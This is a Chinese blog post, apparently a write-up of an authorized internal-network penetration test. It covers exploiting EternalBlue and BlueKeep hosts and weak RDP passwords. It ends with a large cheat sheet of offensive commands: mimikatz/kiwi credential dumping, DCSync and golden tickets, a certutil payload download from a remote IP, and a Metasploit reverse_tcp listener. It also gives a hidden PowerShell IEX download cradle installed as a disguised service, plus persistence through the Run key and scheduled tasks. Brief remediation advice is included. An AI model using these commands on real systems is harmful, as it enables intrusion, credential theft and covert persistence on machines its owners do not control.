# 开始渗透

得到某某同仁的邀请,对某内网进行一次渗透测试。

# 永恒之蓝漏洞

扫描了一下内网开放 445 端口的主机,整理一下。

image-20210716113720407

一共 737 台电脑。

image-20210716113805467

进行一下 MS17_010 批量扫描一下。出现 12 个存在永恒之蓝漏洞的主机。

image-20210716113829968

永恒之蓝的漏洞,居然还有挺多!话不多说,cs 上线。

可能有安全设备,有的机器没能成功上线。部分上线主机,证明。

测试目标 1

image-20210716114710887

测试目标 2

image-20210716104503707

测试目标 3

14

# 弱口令

扫描扫到了 2 个远程桌面

测试目标 4 ,是某摄像头管理服务器。

image-20210716114602451

测试目标 5

11

# CVE 2019_0708 漏洞

又扫描了一下内网开放 3389 端口的机器,整理出来资产,一共开放 69 个主机。

image-20210716114043296

首先对这 69 台主机,进行一下 CVE2019_0708 的检测。

工具链接:https://github.com/robertdavidgraham/rdpscan

image-20210716114111334

检测出来了 17 个主机存在 CVE2019_0708 漏洞,一个一个测试。由于安全设备或杀毒软件等不明原因。只有 1 个主机,成功上线了。添加用户,拉用户到管理员,cs 上线。

image-20210716104503707

# 修复建议:

针对永恒之蓝:

  • 打系统补丁
  • 关闭 445 137 138 139 等端口服务
  • 做好业务网络隔离

针对 cve2019-0708 漏洞

  • 打补丁
  • 设置远程桌面 ip 白名单

针对弱密码

  • 设置密码策略,建议 8 位以上,大小写加符号组合
  • 定期修改密码

# 补充知识:

# 1.windows 账号 添加 与删除

查看当前存在用户:

net user

查看当前用户组:

net localgroup

添加用户(以添加用户ls密码abcd1234为例):

net user ls abcd1234 /add

添加用户到组(以添加ls用户到Administrators组为例):

net localgroup Administrators data$ /add

删除用户
net user 用户名 /delete

查询远程桌面的开放端口
reg query "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v portnumber

# 2.kiwi 模块的使用

提权到system权限

​ 使用 kiwi 模块需要 system 权限,所以我们在使用该模块之前需要将当前 MSF 中的 shell 提升为 system。提到 system 有两个方法,一是当前的权限是 administrator 用户,二是利用其它手段先提权到 administrator 用户。然后 administrator 用户可以直接 getsystem 到 system 权限。

进程迁移

​ kiwi 模块同时支持 32 位和 64 位的系统,但是该模块默认是加载 32 位的系统,所以如果目标主机是 64 位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是 64 位的,则必须先查看系统进程列表,然后将 meterpreter 进程迁移到一个 64 位程序的进程中,才能加载 kiwi 并且查看系统明文。如果目标系统是 32 位的,则没有这个限制。

使用 ps 命令查看进程,我们需要找一个 64 位的进程,并且用户是 NT AUTHORITY\SYSTEM ,因为迁移进程后,meterpreter 的权限是迁移进程的权限。

进程迁移命令,将 meterpreter 进程迁移到 408 进程:migrate 408

加载kiwi模块

加载 kiwi 模块

load kiwi

查看 kiwi 模块的使用

help kiwi

常用命令

creds_all:列举所有凭据
creds_kerberos:列举所有 kerberos 凭据
creds_msv:列举所有 msv 凭据
creds_ssp:列举所有 ssp 凭据
creds_tspkg:列举所有 tspkg 凭据
creds_wdigest:列举所有 wdigest 凭据
dcsync:通过 DCSync 检索用户帐户信息
dcsync_ntlm:通过 DCSync 检索用户帐户 NTLM 散列、SID 和 RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举 kerberos 票据
kerberos_ticket_purge:清除 kerberos 票据
kerberos_ticket_use:使用 kerberos 票据
kiwi_cmd:执行 mimikatz 的命令,后面接 mimikatz.exe 的命令
lsa_dump_sam:dump 出 lsa 的 SAM
lsa_dump_secrets:dump 出 lsa 的密文
password_change:修改密码
wifi_list:列出当前用户的 wifi 配置文件
wifi_list_shared:列出共享 wifi 配置文件 / 编码

creds_all
# 该命令可以列举系统中的明文密码

kiwi_cmd
kiwi_cmd 模块可以让我们使用 mimikatz 的全部功能,该命令后面接 mimikatz.exe 的命令
kiwi_cmd sekurlsa::logonpasswords

# 3. 计划任务

cmd 下定时执行命令可以使用 at 命令 或者 schtasks 命令。
at 语法:at + 时间 + 运行程序
schtasks 语法:schtasks /creat/tn 设定定时运行的名字 /tr “运行程序” /sc daily /st 时间
例:
1、at 12:30 notepad(12:30 时运行记事本)

2、at 19:30 calc(19:30 时运行计算器)
3、schtasks /create/tn 定时运行 /tr "notepad" /sc daily /st 12:30(12:30 时运行记事本)
4、schtasks /create/tn 定时运行 /tr "calc" /sc daily /st 19:30(19:30 时运行计算器)

schtasks /create/tn solrindex /tr C:\windows\system32\notepad.exe/sc minute /mo 1 这是一分钟执行一次

schtasks /create /tn "plugin_update" /tr c:\windows\plugin_update.exe /sc once /st 16:32


# 4.CMD 相关知识

下载远程文件
certutil.exe -urlcache -split -f http://ip/64_vmp.exe C:\Windows\plugin_update_64.exe

运行本地文件
start plugin_update.exe

中文乱码解决
chcp 65001

弹窗方法
1、msg %username% /time:10 "要显示的内容"
2、mshta vbscript:msgbox("要显示的内容",64,"Hello")(window.close)
3、mshta vbscript:CreateObject("Wscript.Shell").popup("要显示的内容",7,"Hello",64)(window.close)
4、mshta "javascript:new ActiveXObject('WScript.Shell').popup('要显示的内容',7,'Hello',64);window.close();"

# 5.kali 相关知识

一键开启http服务
python -m SimpleHTTPServer 

msf监听端口
use exploits/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your_ip
exploit

# 6.CS 的一些命令

部分cs命令利用

getsystem 尝试获取system权限
logonpasswords  抓取密码
net view /domain  查询域列表
net time /domain  判断主域
net user /domain  查询域内用户

# 7. 维权之开机自启。

前提:拿到 cobalt strike 的 session

# 设置开机自启动服务,这个火绒会拦截。

上传木马

upload kage/plugin_update_64.exe C:\Windows\plugin_update_64.exe

使用 sc 命令创建服务

sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://ip:8080/a'))\""

服务名可以伪装一下,binpath= 后面有个空格

将服务设置为自启动

sc config "Windows Power" start= auto

设置服务的描述

sc description "Windows Power" "windows auto service"

启动服务

net start "Windows Power"

删除服务

sc delete "Windows Power"

# 将 exe 木马添加到自启动服务中

sc create "server power" binpath= "C:\Windows\plugin_update_64.exe"sc description "server power" "description" 设置服务的描述字符串sc config "server power" start= auto 设置这个服务为自动启动net start "server power" 启动服务 

# 通过注册表设置开机启动项

设置开机启动项,往注册表 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 添加木马程序路径

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\plugin_update_64.exe" /f 
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝